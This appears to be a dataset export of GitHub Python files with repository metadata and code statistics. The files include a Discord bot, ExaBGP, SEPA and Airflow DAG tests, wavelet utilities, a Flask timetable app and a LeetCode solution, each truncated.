Mesh is generated lazily when vertices... | 33.52381 | 87 | 0.605114 | 1,065 | 9,152 | 5.010329 | 0.130516 | 0.028486 | 0.026237 | 0.023613 | 0.285045 | 0.20521 | 0.192841 | 0.165105 | 0.119003 | 0.10401 | 0 | 0.011515 | 0.288352 | 9,152 | 272 | 88 | 33.647059 | 0.807769 | 0.116149 | 0 | 0.253731 | 0 | 0.004975 | 0.11385 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.164179 | false | 0 | 0.034826 | 0.004975 | 0.328358 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e7742de3e4510356f7231d426f247a622c865b21 | 1,923 | py | Python | discordbot.py | asamii0006/discordpy-startup | 3a14a4155373fff96067954e85ad64658e4bbbf5 | [
"MIT"
] | null | null | null | discordbot.py | asamii0006/discordpy-startup | 3a14a4155373fff96067954e85ad64658e4bbbf5 | [
"MIT"
] | null | null | null | discordbot.py | asamii0006/discordpy-startup | 3a14a4155373fff96067954e85ad64658e4bbbf5 | [
"MIT"
] | null | null | null | from discord.ext import commands
import os
import traceback
bot = commands.Bot(command_prefix='/')
token = os.environ['DISCORD_BOT_TOKEN']
@bot.event
async def on_command_error(ctx, error):
orig_error = getattr(error, "original", error)
error_msg = ''.join(traceback.TracebackException.from_exception(orig_err... | 22.103448 | 89 | 0.651586 | 272 | 1,923 | 4.474265 | 0.345588 | 0.040263 | 0.032046 | 0.036976 | 0.130649 | 0.011504 | 0.011504 | 0 | 0 | 0 | 0 | 0.021448 | 0.224129 | 1,923 | 86 | 90 | 22.360465 | 0.794236 | 0.031721 | 0 | 0.129032 | 0 | 0.016129 | 0.071659 | 0.016703 | 0 | 0 | 0 | 0 | 0 | 1 | 0.064516 | false | 0 | 0.112903 | 0.016129 | 0.306452 | 0.016129 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e7765cf07995f7e47b792bf00a9c30793c228c4a | 1,604 | py | Python | filling/parse/ex.py | nvxden/flask-films | 038f4bcaa7feabdfff7662fb1048bf48515e5c26 | [
"MIT"
] | null | null | null | filling/parse/ex.py | nvxden/flask-films | 038f4bcaa7feabdfff7662fb1048bf48515e5c26 | [
"MIT"
] | null | null | null | filling/parse/ex.py | nvxden/flask-films | 038f4bcaa7feabdfff7662fb1048bf48515e5c26 | [
"MIT"
] | null | null | null | import asyncio as aio
import os
import re
from aiohttp import ClientSession
from pageloader import LoadPageTask, PageLoader
from nvxlira import Lira
from nvxaex import Executor
############################################################
# class
class LoadPage(LoadPageTask):
def __str__(self):
retur... | 20.831169 | 93 | 0.545511 | 204 | 1,604 | 4.269608 | 0.377451 | 0.064294 | 0.068886 | 0.086108 | 0.289323 | 0.289323 | 0.289323 | 0.289323 | 0.289323 | 0.094145 | 0 | 0.018532 | 0.125312 | 1,604 | 76 | 94 | 21.105263 | 0.602281 | 0.014963 | 0 | 0.054054 | 0 | 0 | 0.298273 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.027027 | false | 0.027027 | 0.189189 | 0.027027 | 0.297297 | 0.108108 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e776bec5c2d6010767a894ee51a22e9c4a498c74 | 5,803 | py | Python | Incident-Response/Tools/cyphon/cyphon/contexts/autocomplete_light_registry.py | sn0b4ll/Incident-Playbook | cf519f58fcd4255674662b3620ea97c1091c1efb | [
"MIT"
] | 1 | 2021-07-24T17:22:50.000Z | 2021-07-24T17:22:50.000Z | Incident-Response/Tools/cyphon/cyphon/contexts/autocomplete_light_registry.py | sn0b4ll/Incident-Playbook | cf519f58fcd4255674662b3620ea97c1091c1efb | [
"MIT"
] | 2 | 2022-02-28T03:40:31.000Z | 2022-02-28T03:40:52.000Z | Incident-Response/Tools/cyphon/cyphon/contexts/autocomplete_light_registry.py | sn0b4ll/Incident-Playbook | cf519f58fcd4255674662b3620ea97c1091c1efb | [
"MIT"
] | 2 | 2022-02-25T08:34:51.000Z | 2022-03-16T17:29:44.000Z | # -*- coding: utf-8 -*-
# Copyright 2017-2019 ControlScan, Inc.
#
# This file is part of Cyphon Engine.
#
# Cyphon Engine is free software: you can redistribute it and/or modify
# it under the terms of the GNU General Public License as published by
# the Free Software Foundation, version 3 of the License.
#
# Cyphon En... | 33.16 | 85 | 0.697398 | 652 | 5,803 | 6.064417 | 0.211656 | 0.051593 | 0.042994 | 0.034143 | 0.643146 | 0.628983 | 0.61482 | 0.595599 | 0.595599 | 0.583966 | 0 | 0.004449 | 0.225401 | 5,803 | 174 | 86 | 33.350575 | 0.875195 | 0.31656 | 0 | 0.592105 | 0 | 0 | 0.157322 | 0.048993 | 0 | 0 | 0 | 0 | 0 | 1 | 0.065789 | false | 0 | 0.052632 | 0 | 0.381579 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e77966df213ba660b9ceebdaefcb943c9ce395a4 | 33,959 | py | Python | wavespin/scattering1d/utils.py | OverLordGoldDragon/dev_tg | 1e06b89c1b0b5e95d9c53fda2efd02e41f708718 | [
"MIT"
] | 2 | 2020-03-28T05:37:34.000Z | 2020-09-17T20:02:21.000Z | wavespin/scattering1d/utils.py | OverLordGoldDragon/dev_tg | 1e06b89c1b0b5e95d9c53fda2efd02e41f708718 | [
"MIT"
] | 2 | 2020-06-02T17:52:53.000Z | 2020-09-18T00:46:34.000Z | wavespin/scattering1d/utils.py | OverLordGoldDragon/dev_tg | 1e06b89c1b0b5e95d9c53fda2efd02e41f708718 | [
"MIT"
] | 1 | 2020-06-02T17:52:24.000Z | 2020-06-02T17:52:24.000Z | # -*- coding: utf-8 -*-
# -----------------------------------------------------------------------------
# Copyright (c) 2022- John Muradeli
#
# Distributed under the terms of the MIT License
# (see wavespin/__init__.py for details)
# -----------------------------------------------------------------------------
import n... | 40.427381 | 83 | 0.55835 | 4,612 | 33,959 | 3.897225 | 0.116002 | 0.013353 | 0.011127 | 0.011684 | 0.430288 | 0.375932 | 0.324858 | 0.284077 | 0.261878 | 0.24324 | 0 | 0.033003 | 0.317412 | 33,959 | 839 | 84 | 40.475566 | 0.742407 | 0.367149 | 0 | 0.244706 | 0 | 0 | 0.040882 | 0.002186 | 0 | 0 | 0 | 0 | 0.007059 | 1 | 0.025882 | false | 0.014118 | 0.007059 | 0 | 0.061176 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e77bc1533880b4a66753674e008ece8b99afe6f5 | 3,959 | py | Python | google-datacatalog-kafka-connector/tests/google/datacatalog_connectors/kafka/prepare/assembled_entry_factory_test.py | bonifacyj/datacatalog-connectors-message-brokers | 0f72c800ebf1e570b638a0ad930d48e9dc44a25e | [
"Apache-2.0"
] | 1 | 2021-04-30T22:52:41.000Z | 2021-04-30T22:52:41.000Z | google-datacatalog-kafka-connector/tests/google/datacatalog_connectors/kafka/prepare/assembled_entry_factory_test.py | bonifacyj/datacatalog-connectors-message-brokers | 0f72c800ebf1e570b638a0ad930d48e9dc44a25e | [
"Apache-2.0"
] | 2 | 2020-10-01T14:24:12.000Z | 2020-11-12T16:40:01.000Z | google-datacatalog-kafka-connector/tests/google/datacatalog_connectors/kafka/prepare/assembled_entry_factory_test.py | bonifacyj/datacatalog-connectors-message-brokers | 0f72c800ebf1e570b638a0ad930d48e9dc44a25e | [
"Apache-2.0"
] | null | null | null | #!/usr/bin/python
#
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... | 42.569892 | 79 | 0.717605 | 446 | 3,959 | 5.914798 | 0.309417 | 0.050038 | 0.047763 | 0.037908 | 0.289613 | 0.26232 | 0.26232 | 0.200152 | 0.200152 | 0.200152 | 0 | 0.004167 | 0.211922 | 3,959 | 92 | 80 | 43.032609 | 0.841346 | 0.142713 | 0 | 0.090909 | 0 | 0 | 0.111276 | 0.07665 | 0 | 0 | 0 | 0 | 0.060606 | 1 | 0.045455 | false | 0 | 0.106061 | 0 | 0.272727 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e77e4dc700080418326c39439db7328ed34301f1 | 3,351 | py | Python | miscellaneous_server_test/time_distribution/time_distribution.py | gellens/Master_thesis_JAQ_code | 034de9d7883c0d81564f975405c8985aa4b4d428 | [
"MIT"
] | null | null | null | miscellaneous_server_test/time_distribution/time_distribution.py | gellens/Master_thesis_JAQ_code | 034de9d7883c0d81564f975405c8985aa4b4d428 | [
"MIT"
] | null | null | null | miscellaneous_server_test/time_distribution/time_distribution.py | gellens/Master_thesis_JAQ_code | 034de9d7883c0d81564f975405c8985aa4b4d428 | [
"MIT"
] | 1 | 2020-03-05T14:09:01.000Z | 2020-03-05T14:09:01.000Z | # import matplotlib
# import statsmodels as sm
# import scipy.stats as st
# import pandas as pd
# import warnings
import json
import os
from scipy.stats import gamma
from scipy.stats import lognorm
from scipy.stats import pareto
from scipy.stats import norm
import numpy as np
import matplotlib.pyplot as plt
def warm... | 31.027778 | 175 | 0.63026 | 504 | 3,351 | 4.05754 | 0.311508 | 0.035208 | 0.027384 | 0.03912 | 0.117359 | 0.098778 | 0.080196 | 0.05379 | 0 | 0 | 0 | 0.021662 | 0.242316 | 3,351 | 107 | 176 | 31.317757 | 0.783773 | 0.179946 | 0 | 0 | 0 | 0 | 0.081625 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.067568 | false | 0 | 0.108108 | 0 | 0.216216 | 0.040541 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e7808d26b562a5ddeb70cd3327c78d41fcdc891d | 1,113 | py | Python | lib/exabgp/bgp/message/update/attribute/community/extended/mac_mobility.py | cloudscale-ch/exabgp | 55ee496dfbc3fce75c5107fae7a7d38567154d46 | [
"BSD-3-Clause"
] | 1 | 2019-06-25T20:49:37.000Z | 2019-06-25T20:49:37.000Z | lib/exabgp/bgp/message/update/attribute/community/extended/mac_mobility.py | nembery/exabgp | 53cfff843ddde33bf1c437a1c4ce99de20c6bade | [
"BSD-3-Clause"
] | null | null | null | lib/exabgp/bgp/message/update/attribute/community/extended/mac_mobility.py | nembery/exabgp | 53cfff843ddde33bf1c437a1c4ce99de20c6bade | [
"BSD-3-Clause"
] | 1 | 2020-07-23T16:52:51.000Z | 2020-07-23T16:52:51.000Z | # encoding: utf-8
"""
mac_mobility.py
Created by Anton Aksola on 2018-11-03
"""
from struct import pack
from struct import unpack
from exabgp.bgp.message.update.attribute.community.extended import ExtendedCommunity
# ================================================================== MacMobility
# RFC 7432 Section 7... | 22.26 | 84 | 0.666667 | 134 | 1,113 | 5.358209 | 0.485075 | 0.066852 | 0.044568 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.029064 | 0.165319 | 1,113 | 49 | 85 | 22.714286 | 0.743811 | 0.154537 | 0 | 0 | 0 | 0 | 0.051557 | 0 | 0 | 0 | 0.008593 | 0 | 0 | 1 | 0.125 | false | 0 | 0.09375 | 0.03125 | 0.46875 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e780d9438e176381d9f02f6add14e1524a0e07ab | 867 | py | Python | aprendizado/udemy/03_desafio_POO/main.py | renatodev95/Python | 2adee4a01de41f8bbb68fce563100c135a5ab549 | [
"MIT"
] | null | null | null | aprendizado/udemy/03_desafio_POO/main.py | renatodev95/Python | 2adee4a01de41f8bbb68fce563100c135a5ab549 | [
"MIT"
] | null | null | null | aprendizado/udemy/03_desafio_POO/main.py | renatodev95/Python | 2adee4a01de41f8bbb68fce563100c135a5ab549 | [
"MIT"
] | null | null | null | from banco import Banco
from cliente import Cliente
from conta import ContaCorrente, ContaPoupanca
banco = Banco()
cliente1 = Cliente('Luiz', 30)
cliente2 = Cliente('Maria', 18)
cliente3 = Cliente('João', 50)
conta1 = ContaPoupanca(1111, 254136, 0)
conta2 = ContaCorrente(2222, 254137, 0)
conta3 = ContaPoupanca(1212,... | 22.815789 | 46 | 0.734717 | 105 | 867 | 6 | 0.352381 | 0.095238 | 0.057143 | 0.050794 | 0.133333 | 0.133333 | 0.133333 | 0.133333 | 0 | 0 | 0 | 0.089961 | 0.11534 | 867 | 38 | 47 | 22.815789 | 0.731421 | 0 | 0 | 0.071429 | 0 | 0 | 0.107143 | 0.038018 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.107143 | 0 | 0.107143 | 0.107143 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e781cdbe0452060897cb4aa77bea0b37fe424f36 | 386 | py | Python | detection_tf/scripts/stuff/node_finder.py | hywel1994/SARosPerceptionKitti | 82c307facb5b39e47c510fbdb132962cebf09d2e | [
"MIT"
] | 5 | 2019-01-17T03:08:41.000Z | 2021-10-31T17:02:11.000Z | detection_tf/scripts/stuff/node_finder.py | hywel1994/SARosPerceptionKitti | 82c307facb5b39e47c510fbdb132962cebf09d2e | [
"MIT"
] | 11 | 2020-02-05T00:36:38.000Z | 2020-05-31T23:20:21.000Z | detection_tf/scripts/stuff/node_finder.py | hywel1994/SARosPerceptionKitti | 82c307facb5b39e47c510fbdb132962cebf09d2e | [
"MIT"
] | 4 | 2018-11-02T09:57:59.000Z | 2021-04-27T01:20:04.000Z | #!/usr/bin/env python2
# -*- coding: utf-8 -*-
"""
Created on Thu Jan 11 15:58:42 2018
@author: gustav
"""
import tensorflow as tf
NODE_OPS = ['Placeholder','Identity']
MODEL_FILE = '../models/ssd_mobilenet_v11_coco/frozen_inference_graph.pb'
gf = tf.GraphDef()
gf.ParseFromString(open(MODEL_FILE,'rb').read())
prin... | 21.444444 | 73 | 0.681347 | 63 | 386 | 4.031746 | 0.793651 | 0.055118 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.047761 | 0.132124 | 386 | 17 | 74 | 22.705882 | 0.710448 | 0.248705 | 0 | 0 | 0 | 0 | 0.288256 | 0.206406 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 0.166667 | 0.166667 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e78557afcf99f289bebfa26454aa02ac75ba1622 | 1,483 | py | Python | Clustering_Algorithms/create_chart.py | NikhilGupta1997/Data-Mining-Algorithms | 56c9acca3d4f62b72e0ec22e150421eaee2dc850 | [
"MIT"
] | 7 | 2018-12-25T07:52:51.000Z | 2021-05-17T23:53:18.000Z | Clustering_Algorithms/create_chart.py | NikhilGupta1997/Data-Mining-Algorithms | 56c9acca3d4f62b72e0ec22e150421eaee2dc850 | [
"MIT"
] | null | null | null | Clustering_Algorithms/create_chart.py | NikhilGupta1997/Data-Mining-Algorithms | 56c9acca3d4f62b72e0ec22e150421eaee2dc850 | [
"MIT"
] | null | null | null | import numpy as np
import sys
import matplotlib.pyplot as plt
file = 'optics.txt'
minpts = int(sys.argv[1])
epsilon = float(sys.argv[2])
X = []
Y = []
cluster_inds = []
inds = []
noise = []
buff = []
counter = 0
for i, line in enumerate(open(file).readlines()):
counter += 1
val = line.strip().split()
idx = int(va... | 20.315068 | 94 | 0.631153 | 247 | 1,483 | 3.736842 | 0.323887 | 0.059588 | 0.055255 | 0.045504 | 0.04117 | 0.04117 | 0.04117 | 0 | 0 | 0 | 0 | 0.025122 | 0.167903 | 1,483 | 73 | 95 | 20.315068 | 0.722853 | 0.064059 | 0 | 0.135593 | 0 | 0 | 0.070137 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.050847 | 0 | 0.050847 | 0.033898 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e787bcef0fe3c055b3e9f9ae08c31b576c247a87 | 2,376 | py | Python | random_video.py | enriqueav/the_random_video | 0dbeef2efbbad33351fd106b16095b4bb3ed8821 | [
"MIT"
] | 1 | 2020-11-07T17:15:27.000Z | 2020-11-07T17:15:27.000Z | random_video.py | enriqueav/the_random_video | 0dbeef2efbbad33351fd106b16095b4bb3ed8821 | [
"MIT"
] | null | null | null | random_video.py | enriqueav/the_random_video | 0dbeef2efbbad33351fd106b16095b4bb3ed8821 | [
"MIT"
] | null | null | null | import argparse
import time
from taor.randomvideo import random_video
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description='Create random videos. The --seed argument can be used to generate'
'consistent results. By default the name of the video will contain the epoch... | 44.830189 | 97 | 0.513889 | 278 | 2,376 | 4.276978 | 0.345324 | 0.083263 | 0.071489 | 0.027754 | 0.12868 | 0.12868 | 0.12868 | 0.12868 | 0.12868 | 0.12868 | 0 | 0.014354 | 0.384259 | 2,376 | 52 | 98 | 45.692308 | 0.79836 | 0 | 0 | 0.102041 | 0 | 0 | 0.322391 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.061224 | 0 | 0.061224 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e787dc94ca4111ab33a1d29a9785aad5e480ebdf | 2,524 | py | Python | src/leetcode_1743_restore_the_array_from_adjacent_pairs.py | sungho-joo/leetcode2github | ce7730ef40f6051df23681dd3c0e1e657abba620 | [
"MIT"
] | null | null | null | src/leetcode_1743_restore_the_array_from_adjacent_pairs.py | sungho-joo/leetcode2github | ce7730ef40f6051df23681dd3c0e1e657abba620 | [
"MIT"
] | null | null | null | src/leetcode_1743_restore_the_array_from_adjacent_pairs.py | sungho-joo/leetcode2github | ce7730ef40f6051df23681dd3c0e1e657abba620 | [
"MIT"
] | null | null | null | # @l2g 1743 python3
# [1743] Restore the Array From Adjacent Pairs
# Difficulty: Medium
# https://leetcode.com/problems/restore-the-array-from-adjacent-pairs
#
# There is an integer array nums that consists of n unique elements,but you have forgotten it.However,
# you do remember every pair of adjacent elements in nums... | 30.409639 | 106 | 0.638669 | 372 | 2,524 | 4.268817 | 0.360215 | 0.055416 | 0.011335 | 0.030227 | 0.06801 | 0.06801 | 0 | 0 | 0 | 0 | 0 | 0.049642 | 0.225832 | 2,524 | 82 | 107 | 30.780488 | 0.76305 | 0.557845 | 0 | 0.076923 | 0 | 0 | 0.023321 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.038462 | false | 0 | 0.115385 | 0 | 0.230769 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e789b7eb8d4c8742185f24806004dfff92a4a404 | 1,449 | py | Python | timetable/timetable.py | Huy-Ngo/usth-timetable-2 | d9f653ee2cb138b075c7c630b6f8be08d959cb08 | [
"MIT"
] | null | null | null | timetable/timetable.py | Huy-Ngo/usth-timetable-2 | d9f653ee2cb138b075c7c630b6f8be08d959cb08 | [
"MIT"
] | null | null | null | timetable/timetable.py | Huy-Ngo/usth-timetable-2 | d9f653ee2cb138b075c7c630b6f8be08d959cb08 | [
"MIT"
] | null | null | null | import datetime
from flask import (
Blueprint, flash, g, redirect, render_template, request, url_for, session
)
from werkzeug.exceptions import abort
from timetable.student_auth import login_required
from . import db, updater
bp = Blueprint('timetable', __name__)
@bp.route('/', methods=['GET'])
def index():
user... | 30.1875 | 124 | 0.73844 | 207 | 1,449 | 4.961353 | 0.309179 | 0.06816 | 0.037975 | 0.056475 | 0.185979 | 0.149951 | 0 | 0 | 0 | 0 | 0 | 0 | 0.118012 | 1,449 | 47 | 125 | 30.829787 | 0.803599 | 0.065562 | 0 | 0 | 0 | 0 | 0.172337 | 0.076923 | 0 | 0 | 0 | 0 | 0 | 1 | 0.085714 | false | 0 | 0.142857 | 0 | 0.342857 | 0.057143 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e78c94bb5cf3e2d928816be2ee0ebeb373a52cb8 | 4,912 | py | Python | apps/sepa/tests/integration.py | jfterpstra/onepercentclub-site | 43e8e01ac4d3d1ffdd5959ebd048ce95bb2dba0e | [
"BSD-3-Clause"
] | 7 | 2015-01-02T19:31:14.000Z | 2021-03-22T17:30:23.000Z | apps/sepa/tests/integration.py | jfterpstra/onepercentclub-site | 43e8e01ac4d3d1ffdd5959ebd048ce95bb2dba0e | [
"BSD-3-Clause"
] | 1 | 2015-03-06T08:34:59.000Z | 2015-03-06T08:34:59.000Z | apps/sepa/tests/integration.py | jfterpstra/onepercentclub-site | 43e8e01ac4d3d1ffdd5959ebd048ce95bb2dba0e | [
"BSD-3-Clause"
] | null | null | null | import os
import unittest
import decimal
from lxml import etree
from apps.sepa.sepa import SepaAccount, SepaDocument
from .base import SepaXMLTestMixin
class ExampleXMLTest(SepaXMLTestMixin, unittest.TestCase):
""" Attempt to test recreating an example XML file """
def setUp(self):
super(ExampleXML... | 31.896104 | 107 | 0.578583 | 531 | 4,912 | 5.239171 | 0.306968 | 0.035586 | 0.037743 | 0.017254 | 0.155284 | 0.12509 | 0.099209 | 0.071172 | 0.040978 | 0.040978 | 0 | 0.042179 | 0.304967 | 4,912 | 153 | 108 | 32.104575 | 0.772701 | 0.112378 | 0 | 0.102041 | 0 | 0.030612 | 0.163687 | 0.065475 | 0 | 0 | 0 | 0 | 0.091837 | 1 | 0.05102 | false | 0.010204 | 0.061224 | 0 | 0.132653 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e78d0b3c483bba3574b16e118dcb9461ba02bf95 | 2,992 | py | Python | freeflow/core/tests/dag.py | enorha/freeflow | 5b655ce616d408e566b0b900f96b24804dc49578 | [
"Apache-2.0"
] | 1 | 2021-11-19T08:48:00.000Z | 2021-11-19T08:48:00.000Z | freeflow/core/tests/dag.py | enorha/freeflow | 5b655ce616d408e566b0b900f96b24804dc49578 | [
"Apache-2.0"
] | 1 | 2022-01-06T23:11:02.000Z | 2022-01-06T23:11:02.000Z | freeflow/core/tests/dag.py | enorha/freeflow | 5b655ce616d408e566b0b900f96b24804dc49578 | [
"Apache-2.0"
] | 2 | 2021-11-19T08:51:35.000Z | 2021-12-24T14:39:00.000Z | #!/usr/bin/python
# -*- coding: utf-8 -*-
import unittest
import freeflow.core.tests
from airflow import models as af_models
class DagTest(unittest.TestCase):
@classmethod
def setUpClass(cls):
cls._dag_files = freeflow.core.tests.dag_files
def test_dag_integrity(self):
def check_valid... | 31.829787 | 98 | 0.531417 | 357 | 2,992 | 4.271709 | 0.296919 | 0.057705 | 0.031475 | 0.029508 | 0.19082 | 0.152131 | 0.120656 | 0.120656 | 0.120656 | 0.120656 | 0 | 0.002153 | 0.379011 | 2,992 | 93 | 99 | 32.172043 | 0.818622 | 0.234291 | 0 | 0.12 | 0 | 0 | 0.136071 | 0 | 0 | 0 | 0 | 0 | 0.12 | 1 | 0.12 | false | 0 | 0.06 | 0 | 0.2 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |
e78d767af998e6e80008e8c991011efc8624eff7 | 1,429 | py | Python | pingdomexport/tests/load/test_checks_output.py | mattboston/pingdomexport | 1cd7acbf813abee0b9a7865b9cd4a1e166d55c37 | [
"MIT"
] | 4 | 2018-01-25T09:18:38.000Z | 2021-02-12T18:36:08.000Z | pingdomexport/tests/load/test_checks_output.py | mattboston/pingdomexport | 1cd7acbf813abee0b9a7865b9cd4a1e166d55c37 | [
"MIT"
] | 1 | 2018-12-04T18:42:06.000Z | 2021-05-25T14:03:32.000Z | pingdomexport/tests/load/test_checks_output.py | mattboston/pingdomexport | 1cd7acbf813abee0b9a7865b9cd4a1e166d55c37 | [
"MIT"
] | 3 | 2019-04-30T11:52:14.000Z | 2021-03-24T20:58:04.000Z | from pingdomexport.load import checks_output
class TestOutput:
def test_load(self, capsys):
checks_output.Output().load(
[
{
'hostname': 'www.a.com',
'use_legacy_notifications': True,
'lastresponsetime': 411,
... | 34.853659 | 152 | 0.401679 | 111 | 1,429 | 5.108108 | 0.495496 | 0.028219 | 0.024691 | 0.091711 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.148396 | 0.476557 | 1,429 | 40 | 153 | 35.725 | 0.609626 | 0 | 0 | 0.263158 | 0 | 0.026316 | 0.253324 | 0.109867 | 0 | 0 | 0 | 0 | 0.078947 | 1 | 0.026316 | false | 0 | 0.026316 | 0 | 0.078947 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 |